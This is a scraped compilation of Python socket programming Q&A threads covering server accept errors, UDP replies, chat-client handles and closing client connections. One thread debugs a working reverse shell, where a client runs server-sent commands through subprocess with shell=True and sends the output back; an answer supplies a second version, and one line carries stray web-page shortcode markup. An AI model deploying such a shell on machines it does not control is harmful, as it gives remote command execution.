Develop Reference

socket.accept() invalid argument

I was trying to create an easy client/server program with the module socket. it is the basic tutorial for every standard socket implementation.
#Some Error in sock.accept (line 13) --> no fix yet
import socket
import sys
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
print >>sys.stderr, 'starting up on %s' % host
serversocket.bind((host, 9999))
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#listening for incoming connections
while True:
# Wait for a connection
print >>sys.stderr, 'waiting for a connection'
connection , client_address = serversocket.accept()
try:
print >>sys.stderr, 'connection from', client_address
#Receive data in small chunks and retransmit it
while True:
data = connection.recv(16)
print >>sys.stderr,'received "%s"' % data
if data:
print >>sys.stderr, 'sending data back to the client'
connection.sendall(data)
else:
print >>sys.stderr, 'no more data from', client_address
break
finally:
#Clean up the connection
#Will be executed everytime
connection.close()
The output it gives is
C:\Python27\python27.exe C:/Users/Marcel/Desktop/Projekte/Python/Sockets/Socket_Test/server.py
starting up on Marcel-HP
waiting for a connection
Traceback (most recent call last):
File "C:/Users/Marcel/Desktop/Projekte/Python/Sockets/Socket_Test/server.py", line 16, in <module>
connection , client_address = serversocket.accept()
File "C:\Python27\lib\socket.py", line 206, in accept
sock, addr = self._sock.accept()
socket.error: [Errno 10022] Ein ung�ltiges Argument wurde angegeben

Before accepting any connections, you should start to [listen()][1] to new connections.
Here is the basic example from python documentation :
import socket
HOST = '' # Symbolic name meaning all available interfaces
PORT = 50007 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Creation of the socket
s.bind((HOST, PORT)) # We tell OS on which address/port we will listen
s.listen(1) # We ask OS to start listening on this port, with the number of pending/waiting connection you'll allow
conn, addr = s.accept() # Then, accept a new connection
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data: break
conn.sendall(data)
conn.close()
So, in your case, you only miss a serversocket.listen(1)right after the or serversocket.setsockopt(...)

reverse shell looping

Messing around with a reverse shell I found
the server
from socket import *
HOST = ''
PORT = 9999
s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print("Listening on port " + str(PORT))
s.listen(10)
conn, addr = s.accept()
print("Connected to " + str(addr))
data = conn.recv(1024)
while 1:
command = input("connected\n")
conn.send(str(command).encode('utf-8'))
if command == "quit": break
data = conn.recv(1024).decode('utf-8')
print (data)
conn.close()
client
import socket, subprocess
HOST = '10.0.0.60'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(
'[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')
while 1:
data = s.recv(1024).decode('utf-8')
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value).encode('utf-8')
s.close()
Error
connected
dir
connected
dir
After a lot of trial and error when I run both the client connects to the server, however upon entering input such as dir it loops back to waiting for input. Off the bat I'm assuming its an encoding/decoding related issue but I've looked through some documentation and I'm not really sure of a fix.

Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.
Indent print(data) to be even with the preceding lines and your program should work as you intend.

#Server Side Script
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname()
port = 9999
s.bind((host,port))
print ("Waiting for connection...")
s.listen(5)
conn,addr = s.accept()
print ('Got Connection from', addr)
x='Server Saying Hi'.encode("utf-8")
while True:
command=input("Shell > ")
if 'terminate' in command:
conn.send('terminate'.encode("utf-8"))
conn.close()
break
else:
conn.send(bytes(command.encode("utf-8")))
print(conn.recv(20000).decode("utf-8"))

Client side Script
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname() # Get current machine name
port = 9999 # Client wants to connect to server's # port number 9999
s.connect((host,port))
while True :
try:
command=s.recv(1024).decode("utf-8")
print('Server Says :- ',command)
if 'terminate' in command:
s.close()
break
else:
CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stderr.read())
except ConnectionAbortedError as e:
print("Server Connection Closed !\n\n\n",e)
connect()

UDP connection do not receive any reply from server - Python (potentially also c++ using boost)

I am trying to establish a connection to a server, and send some data to it..
The problem is that, if i try to debug the connection using this MICHAEL SIEGENTHALER | TCP/UDP Debugging Tools
which clearly shows that there is no issue with the communication, and even some form of random input will result in a data coming out.
but when i try to code it in python, using the same settings, are no response received.. It stalls after it has sent the message, i am not sure whether whether it has send the message, or skipped it?
It seems like my server aren't receiving the message i sent to it, and therefore don't reply.. but what is different?
import socket #for sockets
import sys #for exit
# create dgram udp socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except socket.error:
print ('Failed to create socket')
sys.exit()
host = 'localhost';
port = 5634;
while(1) :
try :
#Set the whole string
s.sendto(("-1-117230").encode('utf-8'),('10.2.140.183', 9008))
print("sent")
# receive data from client (data, addr)
d = s.recvfrom(1024)
reply = d[0]
addr = d[1]
print ('Server reply : ' + reply)
except socket.error as msg:
print ('Error Code : ' + str(msg[0]) + ' Message ' + msg[1])
sys.exit()
what is different from the code, and the way the debugging tool test it?
I tried to code it in c++ using boost, but as i had the same issue, i went on to trying in python to see whether that would make a bit more sense.
---Updated --
import socket #for sockets
import sys #for exit
# create dgram udp socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_adress = ('10.2.140.183',5634)
s.bind(server_adress)
except socket.error:
print ('Failed to create socket')
sys.exit()
while(1) :
try :
#Set the whole string
s.sendto(("-1-117230").encode('utf-8'),('10.2.140.183', 9008))
print("sent")
# receive data from client (data, addr)
d = s.recvfrom(1024)
reply = d[0]
addr = d[1]
print ('Server reply : ' + reply)
except socket.error as msg:
print ('Error Code : ' + str(msg[0]) + ' Message ' + msg[1])
sys.exit()

You are missing the binding method.
This is kind of an echo server:
import socket
import sys
host = ''
port = 8888
buffersize = 1
server_address = (host, port)
socket_UDP = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
socket_UDP.bind(server_address)
while True:
data, from_address = socket_UDP.recvfrom(buffersize)
if data:
socket_UDP.sendto(bytes("b"*buffersize, "utf-8"), from_address)
socket_UDP.close()

Username/handle system using Python - TCP/IP chat client

Here is my server code.
# chat_server.py
import sys, socket, select
HOST = ''
SOCKET_LIST = []
RECV_BUFFER = 4096
PORT = 9009
def chat_server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(10)
# add server socket object to the list of readable connections
SOCKET_LIST.append(server_socket)
print "Chat server started on port " + str(PORT)
while 1:
# get the list sockets which are ready to be read through select
# 4th arg, time_out = 0 : poll and never block
ready_to_read,ready_to_write,in_error = select.select(SOCKET_LIST,[],[],0)
for sock in ready_to_read:
# a new connection request recieved
if sock == server_socket:
sockfd, addr = server_socket.accept()
SOCKET_LIST.append(sockfd)
print "Client (%s, %s) connected" % addr
broadcast(server_socket, sockfd, "[%s:%s] entered our chatting room\n" % addr)
# a message from a client, not a new connection
else:
# process data recieved from client,
try:
# receiving data from the socket.
data = sock.recv(RECV_BUFFER)
if data:
# there is something in the socket
broadcast(server_socket, sock, "\r" + '[' + str(sock.getpeername()) + '] ' + data)
else:
# remove the socket that's broken
if sock in SOCKET_LIST:
SOCKET_LIST.remove(sock)
# at this stage, no data means probably the connection has been broken
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
# exception
except:
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
continue
server_socket.close()
# broadcast chat messages to all connected clients
def broadcast (server_socket, sock, message):
for socket in SOCKET_LIST:
# send the message only to peer
if socket != server_socket and socket != sock :
try :
socket.send(message)
except :
# broken socket connection
socket.close()
# broken socket, remove it
if socket in SOCKET_LIST:
SOCKET_LIST.remove(socket)
if __name__ == "__main__":
sys.exit(chat_server())
Here is my client code.
# chat_client.py
import sys, socket, select
def chat_client():
if(len(sys.argv) < 3) :
print 'Usage : python chat_client.py hostname port'
sys.exit()
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
# connect to remote host
try :
s.connect((host, port))
except :
print 'Unable to connect'
sys.exit()
# TEST
person = raw_input ('Please enter your username: ')
print 'Connected to remote host. You can start sending messages.'
sys.stdout.write( person + '[Me]: ' ); sys.stdout.flush()
while 1:
socket_list = [sys.stdin, s]
# Get the list sockets which are readable
read_sockets, write_sockets, error_sockets = select.select(socket_list , [], [])
for sock in read_sockets:
if sock == s:
# incoming message from remote server, s
data = sock.recv(4096)
if not data :
print '\nDisconnected from chat server'
sys.exit()
else :
#print data
sys.stdout.write(data)
sys.stdout.write( person + '[Me]: '); sys.stdout.flush()
else :
# user entered a message
msg = sys.stdin.readline()
s.send(msg)
sys.stdout.write( person + '[Me]: '); sys.stdout.flush()
if __name__ == "__main__":
sys.exit(chat_client())
I'm currently trying to work on adding sort of a "handle" system into the chat client. If you were to run this code, you'll notice that the handle you choose is only displayed on your client, and not anybody else's. I've done hours of research already, and I can't for the life of me figure out how to have a client's chosen handle displayed onto other clients.
I'm still relatively new to Python, and especially new to TCP/IP programming. Any help, advice, and constructive criticism will be welcomed. Thanks in advance!

You can do it on the server or the client side
Server side
To implement it server side, you need to maintain some kind of mapping in the server between client sockets and handles, so that when you broadcast a message from a socket, you can retrieve its handle and prepend it to the message before sending.
In order to know the handle of the clients, they can send it to the server as the first message when they connect. The server will interpret this first message as the handle, and store it mapping it to the socket from what it has been received.
The advantage of this approach is that the server can validate the handle before it accepts it from the clients, and if it is already in use, reject the handle or abort the connection. Also, the clients cannot fake their handle later in the conversation, as it is the server that sends them.
Client side
This is the easiest implementation, as you only need to modify the client and prepend the handle before sending each message.
# user entered a message
msg = sys.stdin.readline()
s.send(person + ": " + msg)
sys.stdout.write( person + '[Me]: '); sys.stdout.flush()
The drawbacks of this approach are that a malicious client can fake the handle to pretend to be another person, and that two clients can have the same handle at the same time, making them indistinguishable from each other.

How to close a connection of a client when multiple clients are connected?

I am having a multi-client server which listens to multiple clients. Now if to one server 5 clients are connected and I want to close the connection between the server and just one client then how am I going to do that.
My server code is:
import socket
import sys
from thread import *
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except socket.error,msg:
print "Socket Creation Error"
sys.exit();
print 'Socket Created'
host = ''
port = 65532
try:
s.bind((host, port))
except socket.error,msg:
print "Bind Failed";
sys.exit()
print "Socket bind complete"
s.listen(10)
print "Socket now listening"
def clientthread(conn):
i=0
while True:
data = conn.recv(1024)
reply = 'OK...' + data
conn.send(reply)
print data
while True:
conn, addr = s.accept()
start_new_thread(clientthread,(conn,))
conn.close()
s.close()